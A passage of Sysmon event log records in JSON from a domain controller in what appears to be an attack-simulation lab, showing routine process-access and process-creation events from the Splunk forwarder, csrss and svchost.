11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.453\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nSourceProcessId: 4004\r\nSourceThreadId: 4000\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.453","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","SourceProcessId":"4004","SourceThreadId":"4000","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.493\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010DA410300}\r\nProcessId: 3984\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.493","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA410300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd46|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 